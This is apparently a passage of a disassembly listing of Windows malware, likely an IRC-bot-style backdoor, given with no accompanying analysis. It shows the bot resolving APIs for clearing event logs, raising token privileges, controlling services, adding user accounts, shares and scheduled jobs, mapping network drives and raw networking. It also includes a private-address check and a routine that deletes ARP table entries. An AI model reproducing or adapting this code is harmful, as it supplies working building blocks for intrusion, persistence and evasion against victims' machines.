dword_4E0858, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4E08C4, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4E07B0, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4E0810, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4E087C, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4E082C, eax call esi ; GetProcAddress cmp dword_4E090C, ebx mov dword_4E0838, eax jz short loc_409202 cmp dword_4E0858, ebx jz short loc_409202 cmp dword_4E08C4, ebx jz short loc_409202 cmp dword_4E07B0, ebx jz short loc_409202 cmp dword_4E0810, ebx jz short loc_409202 cmp dword_4E087C, ebx jnz short loc_40920C loc_409202: ; CODE XREF: sub_408F54+284j ; sub_408F54+28Cj ... mov dword_4E096C, 1 loc_40920C: ; CODE XREF: sub_408F54+2ACj push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4E0884, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4E0860, eax call esi ; GetProcAddress cmp dword_4E0884, ebx mov dword_4E0908, eax jz short loc_409247 cmp dword_4E0860, ebx jz short loc_409247 cmp eax, ebx jnz short loc_409251 loc_409247: ; CODE XREF: sub_408F54+2E5j ; sub_408F54+2EDj mov dword_4E096C, 1 loc_409251: ; CODE XREF: sub_408F54+2F1j push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4E0894, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4E078C, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4E0794, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4E07F8, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4E07FC, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4E07A8, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4E0864, eax call esi ; GetProcAddress cmp dword_4E0894, ebx mov dword_4E0798, eax jz short loc_4092F5 cmp dword_4E078C, ebx jz short loc_4092F5 cmp dword_4E0794, ebx jz short loc_4092F5 cmp dword_4E07F8, ebx jz short loc_4092F5 cmp dword_4E07FC, ebx jz short loc_4092F5 cmp dword_4E07A8, ebx jz short loc_4092F5 cmp dword_4E0864, ebx jz short loc_4092F5 cmp eax, ebx jnz short loc_4092FF loc_4092F5: ; CODE XREF: sub_408F54+36Bj ; sub_408F54+373j ... mov dword_4E096C, 1 loc_4092FF: ; CODE XREF: sub_408F54+39Fj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4E0790, eax jnz short loc_409327 jmp short loc_40931D ; --------------------------------------------------------------------------- loc_409312: ; CODE XREF: sub_408F54+210j call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E0970, eax loc_40931D: ; CODE XREF: sub_408F54+3BCj mov dword_4E096C, 1 loc_409327: ; CODE XREF: sub_408F54+3BAj push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_4093F3 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4E088C, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4E08E0, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4E08E8, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4E08A8, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4E07D4, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4E0784, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4E08E4, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4E0770, eax call esi ; GetProcAddress cmp dword_4E088C, ebx mov dword_4E0808, eax jz short loc_4093FE cmp dword_4E08E0, ebx jz short loc_4093FE cmp dword_4E08E8, ebx jz short loc_4093FE cmp dword_4E08A8, ebx jz short loc_4093FE cmp dword_4E07D4, ebx jz short loc_4093FE cmp dword_4E0784, ebx jz short loc_4093FE cmp dword_4E08E4, ebx jz short loc_4093FE cmp dword_4E0770, ebx jz short loc_4093FE cmp eax, ebx jnz short loc_409408 jmp short loc_4093FE ; --------------------------------------------------------------------------- loc_4093F3: ; CODE XREF: sub_408F54+3DEj call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E0978, eax loc_4093FE: ; CODE XREF: sub_408F54+45Fj ; sub_408F54+467j ... mov dword_4E0974, 1 loc_409408: ; CODE XREF: sub_408F54+49Bj mov ebp, dword_4F1374 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4096C4 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4E081C, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4E0940, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4E07C0, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4E079C, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4E0850, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4E083C, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4E0804, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4E091C, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4E0938, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4E084C, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4E0928, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4E08DC, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4E08A0, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4E089C, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4E07E0, eax call esi ; GetProcAddress push offset aSend_0 ; "send" push edi mov dword_4E07D8, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4E08EC, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4E0900, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4E08B8, eax call esi ; GetProcAddress mov dword_4E0878, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4E08CC, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4E0888, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4E08C8, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4E0930, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4E0880, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4E0848, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4E08B4, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4E0920, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4E085C, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4E0800, eax call esi ; GetProcAddress cmp dword_4E081C, ebx mov dword_4E0934, eax jz loc_4096CF cmp dword_4E0940, ebx jz loc_4096CF cmp dword_4E07C0, ebx jz loc_4096CF cmp dword_4E0850, ebx jz loc_4096CF cmp dword_4E083C, ebx jz loc_4096CF cmp dword_4E0804, ebx jz loc_4096CF cmp dword_4E091C, ebx jz loc_4096CF cmp dword_4E0938, ebx jz loc_4096CF cmp dword_4E084C, ebx jz loc_4096CF cmp dword_4E0928, ebx jz loc_4096CF cmp dword_4E08DC, ebx jz loc_4096CF cmp dword_4E08A0, ebx jz loc_4096CF cmp dword_4E089C, ebx jz loc_4096CF cmp dword_4E07E0, ebx jz short loc_4096CF cmp dword_4E08EC, ebx jz short loc_4096CF cmp dword_4E0900, ebx jz short loc_4096CF cmp dword_4E08B8, ebx jz short loc_4096CF cmp dword_4E0878, ebx jz short loc_4096CF cmp dword_4E08CC, ebx jz short loc_4096CF cmp dword_4E0888, ebx jz short loc_4096CF cmp dword_4E08C8, ebx jz short loc_4096CF cmp dword_4E0930, ebx jz short loc_4096CF cmp dword_4E0880, ebx jz short loc_4096CF cmp dword_4E0848, ebx jz short loc_4096CF cmp dword_4E08B4, ebx jz short loc_4096CF cmp dword_4E0920, ebx jz short loc_4096CF cmp dword_4E085C, ebx jz short loc_4096CF cmp eax, ebx jnz short loc_4096D9 jmp short loc_4096CF ; --------------------------------------------------------------------------- loc_4096C4: ; CODE XREF: sub_408F54+4C5j call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E0980, eax loc_4096CF: ; CODE XREF: sub_408F54+664j ; sub_408F54+670j ... mov dword_4E097C, 1 loc_4096D9: ; CODE XREF: sub_408F54+76Cj push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4097DE push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4E07EC, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4E0778, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4E086C, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4E0820, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4E0874, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4E0840, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4E07B4, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4E07AC, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4E07BC, eax call esi ; GetProcAddress cmp dword_4E07EC, ebx mov ecx, dword_4E0840 mov dword_4E08D0, eax jz short loc_4097BA cmp dword_4E0778, ebx jz short loc_4097BA cmp dword_4E086C, ebx jz short loc_4097BA cmp dword_4E0820, ebx jz short loc_4097BA cmp dword_4E0874, ebx jz short loc_4097BA cmp ecx, ebx jz short loc_4097BA cmp dword_4E07B4, ebx jz short loc_4097BA cmp dword_4E07AC, ebx jz short loc_4097BA cmp dword_4E07BC, ebx jz short loc_4097BA cmp eax, ebx jnz short loc_4097C4 loc_4097BA: ; CODE XREF: sub_408F54+824j ; sub_408F54+82Cj ... mov dword_4E0984, 1 loc_4097C4: ; CODE XREF: sub_408F54+864j cmp ecx, ebx jz short loc_4097F9 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4E0854, eax jnz short loc_4097F9 jmp short loc_4097F3 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_408F54+790j call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E0988, eax mov dword_4E0984, 1 loc_4097F3: ; CODE XREF: sub_408F54+888j mov dword_4E0854, ebx loc_4097F9: ; CODE XREF: sub_408F54+872j ; sub_408F54+886j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409843 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4E0830, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4E0954, eax call esi ; GetProcAddress cmp dword_4E0830, ebx mov dword_4E07C8, eax jz short loc_40984E cmp dword_4E0954, ebx jz short loc_40984E cmp eax, ebx jnz short loc_409858 jmp short loc_40984E ; --------------------------------------------------------------------------- loc_409843: ; CODE XREF: sub_408F54+8B0j call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E0990, eax loc_40984E: ; CODE XREF: sub_408F54+8DFj ; sub_408F54+8E7j ... mov dword_4E098C, 1 loc_409858: ; CODE XREF: sub_408F54+8EBj push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40995F push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4E07A4, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4E0780, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4E07F4, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4E0824, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4E092C, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4E07DC, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4E0788, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4E077C, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4E080C, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4E08F4, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4E08B0, eax call esi ; GetProcAddress cmp dword_4E07A4, ebx mov dword_4E07E4, eax jz short loc_40996A cmp dword_4E0780, ebx jz short loc_40996A cmp dword_4E07F4, ebx jz short loc_40996A cmp dword_4E0824, ebx jz short loc_40996A cmp dword_4E092C, ebx jz short loc_40996A cmp dword_4E07DC, ebx jz short loc_40996A cmp dword_4E0788, ebx jz short loc_40996A cmp dword_4E077C, ebx jz short loc_40996A cmp dword_4E080C, ebx jz short loc_40996A cmp dword_4E08F4, ebx jz short loc_40996A cmp dword_4E08B0, ebx jnz short loc_409974 jmp short loc_40996A ; --------------------------------------------------------------------------- loc_40995F: ; CODE XREF: sub_408F54+90Fj call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E0998, eax loc_40996A: ; CODE XREF: sub_408F54+9B7j ; sub_408F54+9BFj ... mov dword_4E0994, 1 loc_409974: ; CODE XREF: sub_408F54+A07j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4099A9 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4E07CC, eax call esi ; GetProcAddress cmp dword_4E07CC, ebx mov dword_4E0898, eax jz short loc_4099B4 cmp eax, ebx jnz short loc_4099BE jmp short loc_4099B4 ; --------------------------------------------------------------------------- loc_4099A9: ; CODE XREF: sub_408F54+A2Bj call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E09A0, eax loc_4099B4: ; CODE XREF: sub_408F54+A4Dj ; sub_408F54+A53j mov dword_4E099C, 1 loc_4099BE: ; CODE XREF: sub_408F54+A51j push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4099F3 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4E0918, eax call esi ; GetProcAddress cmp dword_4E0918, ebx mov dword_4E0914, eax jz short loc_4099FE cmp eax, ebx jnz short loc_409A08 jmp short loc_4099FE ; --------------------------------------------------------------------------- loc_4099F3: ; CODE XREF: sub_408F54+A75j call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E09A8, eax loc_4099FE: ; CODE XREF: sub_408F54+A97j ; sub_408F54+A9Dj mov dword_4E09A4, 1 loc_409A08: ; CODE XREF: sub_408F54+A9Bj push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409A67 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4E0944, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4E093C, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4E0904, eax call esi ; GetProcAddress cmp dword_4E0944, ebx mov dword_4E07E8, eax jz short loc_409A72 cmp dword_4E093C, ebx jz short loc_409A72 cmp dword_4E0904, ebx jz short loc_409A72 cmp eax, ebx jnz short loc_409A7C jmp short loc_409A72 ; --------------------------------------------------------------------------- loc_409A67: ; CODE XREF: sub_408F54+ABFj call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E09B0, eax loc_409A72: ; CODE XREF: sub_408F54+AFBj ; sub_408F54+B03j ... mov dword_4E09AC, 1 loc_409A7C: ; CODE XREF: sub_408F54+B0Fj push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409AB1 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4E0818, eax call esi ; GetProcAddress cmp dword_4E0818, ebx mov dword_4E0910, eax jz short loc_409ABC cmp eax, ebx jnz short loc_409AC6 jmp short loc_409ABC ; --------------------------------------------------------------------------- loc_409AB1: ; CODE XREF: sub_408F54+B33j call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E09B8, eax loc_409ABC: ; CODE XREF: sub_408F54+B55j ; sub_408F54+B5Bj mov dword_4E09B4, 1 loc_409AC6: ; CODE XREF: sub_408F54+B59j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409B4F push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4E08D8, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4E0924, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4E0868, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4E0828, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4E08BC, eax call esi ; GetProcAddress cmp dword_4E08D8, ebx mov dword_4E0834, eax jz short loc_409B5A cmp dword_4E0924, ebx jz short loc_409B5A cmp dword_4E0868, ebx jz short loc_409B5A cmp dword_4E0828, ebx jz short loc_409B5A cmp dword_4E08BC, ebx jz short loc_409B5A cmp eax, ebx jnz short loc_409B64 jmp short loc_409B5A ; --------------------------------------------------------------------------- loc_409B4F: ; CODE XREF: sub_408F54+B7Dj call dword_4F1348 ; RtlGetLastWin32Error mov dword_4E09C0, eax loc_409B5A: ; CODE XREF: sub_408F54+BD3j ; sub_408F54+BDBj ... mov dword_4E09BC, 1 loc_409B64: ; CODE XREF: sub_408F54+BF7j push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_408F54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B6C proc near ; CODE XREF: sub_401CC1+206Bp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4E095C, esi push edi mov edi, [ebp+arg_8] jz short loc_409BB4 push dword_4E0960 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409BB4: ; CODE XREF: sub_409B6C+1Aj cmp dword_4E0964, esi jz short loc_409BE8 push dword_4E0968 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409BE8: ; CODE XREF: sub_409B6C+4Ej cmp dword_4E096C, esi jz short loc_409C1C push dword_4E0970 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409C1C: ; CODE XREF: sub_409B6C+82j cmp dword_4E0974, esi jz short loc_409C50 push dword_4E0978 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409C50: ; CODE XREF: sub_409B6C+B6j cmp dword_4E097C, esi jz short loc_409C84 push dword_4E0980 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409C84: ; CODE XREF: sub_409B6C+EAj cmp dword_4E0984, esi jz short loc_409CB8 push dword_4E0988 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409CB8: ; CODE XREF: sub_409B6C+11Ej cmp dword_4E098C, esi jz short loc_409CEC push dword_4E0990 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409CEC: ; CODE XREF: sub_409B6C+152j cmp dword_4E0994, esi jz short loc_409D20 push dword_4E0998 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409D20: ; CODE XREF: sub_409B6C+186j cmp dword_4E099C, esi jz short loc_409D54 push dword_4E09A0 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409D54: ; CODE XREF: sub_409B6C+1BAj cmp dword_4E09A4, esi jz short loc_409D88 push dword_4E09A8 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409D88: ; CODE XREF: sub_409B6C+1EEj cmp dword_4E09AC, esi jz short loc_409DBC push dword_4E09B0 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409DBC: ; CODE XREF: sub_409B6C+222j cmp dword_4E09B4, esi jz short loc_409DF0 push dword_4E09B8 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409DF0: ; CODE XREF: sub_409B6C+256j cmp dword_4E09BC, esi jz short loc_409E24 push dword_4E09C0 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B740 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 20h loc_409E24: ; CODE XREF: sub_409B6C+28Aj lea eax, [ebp+var_200] push offset unk_4452B4 push eax call sub_41B740 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_409E51 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_409E51: ; CODE XREF: sub_409B6C+2CEj lea eax, [ebp+var_200] push eax call sub_41458A pop ecx pop edi pop esi pop ebx leave retn sub_409B6C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi jz loc_409EF8 push offset dword_4E09E0 push dword ptr [ebp+8] call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_409EF8 push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call sub_41B1F0 lea eax, [ebp-20h] push offset a__7 ; "." push eax call sub_41C550 add esp, 14h test eax, eax jz short loc_409EF8 push eax call sub_41B3F0 mov dword ptr [esp], offset a__8 ; "." push 0 mov esi, eax call sub_41C550 pop ecx test eax, eax pop ecx jz short loc_409EF8 push eax call sub_41B3F0 cmp esi, 0Ah pop ecx jz short loc_409EF3 cmp esi, 0ACh jnz short loc_409EE4 cmp eax, 0Fh jle short loc_409EF8 cmp eax, 20h jl short loc_409EF3 loc_409EE4: ; CODE XREF: .nsp0:00409ED8j cmp esi, 0C0h jnz short loc_409EF8 cmp eax, 0A8h jnz short loc_409EF8 loc_409EF3: ; CODE XREF: .nsp0:00409ED0j ; .nsp0:00409EE2j push 1 pop eax jmp short loc_409EFA ; --------------------------------------------------------------------------- loc_409EF8: ; CODE XREF: .nsp0:00409E6Ej ; .nsp0:00409E85j ... xor eax, eax loc_409EFA: ; CODE XREF: .nsp0:00409EF6j pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_409EFD proc near ; CODE XREF: sub_4019E1+4Fp ; sub_401CC1+5466p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4E08DC cmp eax, 0FFFFFFFFh jnz short locret_409F25 push [esp+arg_0] call dword_4E0920 test eax, eax jnz short loc_409F1E or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_409F1E: ; CODE XREF: sub_409EFD+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_409F25: ; CODE XREF: sub_409EFD+Dj retn sub_409EFD endp ; =============== S U B R O U T I N E ======================================= sub_409F26 proc near ; CODE XREF: sub_4019E1+D6p mov ecx, dword_4E07CC xor eax, eax test ecx, ecx jz short locret_409F34 call ecx locret_409F34: ; CODE XREF: sub_409F26+Aj retn sub_409F26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F35 proc near ; CODE XREF: sub_401CC1:loc_403C72p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4E0918 mov ecx, eax sub ecx, edi jz loc_40A001 sub ecx, 32h jz loc_409FFA sub ecx, 48h jz short loc_409F95 sub ecx, 6Eh jz short loc_409F8E push eax push offset unk_44538C loc_409F7D: ; CODE XREF: sub_409F35+91j lea eax, [ebp+var_88] push eax call sub_41B740 add esp, 0Ch jmp short loc_409FDB ; --------------------------------------------------------------------------- loc_409F8E: ; CODE XREF: sub_409F35+40j push offset unk_445338 jmp short loc_409FCD ; --------------------------------------------------------------------------- loc_409F95: ; CODE XREF: sub_409F35+3Bj push [ebp+var_8] call sub_418ED0 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B190 add esp, 10h cmp esi, edi jz short loc_409FC8 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4E0918 cmp eax, edi jz short loc_40A001 push eax push offset unk_4452DC jmp short loc_409F7D ; --------------------------------------------------------------------------- loc_409FC8: ; CODE XREF: sub_409F35+79j push offset unk_445308 loc_409FCD: ; CODE XREF: sub_409F35+5Ej ; sub_409F35+CAj lea eax, [ebp+var_88] push eax call sub_41B740 pop ecx pop ecx loc_409FDB: ; CODE XREF: sub_409F35+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_41458A pop ecx loc_409FEB: ; CODE XREF: sub_409F35+CEj ; sub_409F35+E2j push esi call sub_419940 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409FFA: ; CODE XREF: sub_409F35+32j push offset unk_44535C jmp short loc_409FCD ; --------------------------------------------------------------------------- loc_40A001: ; CODE XREF: sub_409F35+29j ; sub_409F35+89j cmp [esi], edi jbe short loc_409FEB lea ebx, [esi+4] loc_40A008: ; CODE XREF: sub_409F35+E0j push ebx call dword_4E0914 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A008 jmp short loc_409FEB sub_409F35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 